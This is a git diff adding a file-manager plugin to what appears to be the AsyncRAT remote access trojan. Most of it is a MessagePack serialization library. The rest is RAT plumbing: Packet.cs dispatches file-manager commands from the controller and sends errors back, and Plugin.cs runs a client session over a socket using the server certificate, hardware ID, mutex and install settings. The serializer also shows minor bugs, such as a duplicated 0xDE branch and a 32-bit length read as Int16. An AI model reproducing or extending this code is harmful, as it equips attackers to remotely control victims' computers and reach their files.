SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs new file mode 100644 index 0000000..482f539 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs @@ -0,0 +1,49 @@ +using Plugin.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Packet + { + public static string FileCopy = null; + + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "fileManager": + { + new FileManager(unpack_msgpack); + } + break; + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs new file mode 100644 index 0000000..5bc9da7 --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs @@ -0,0 +1,45 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + InstallFile = installFile; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs 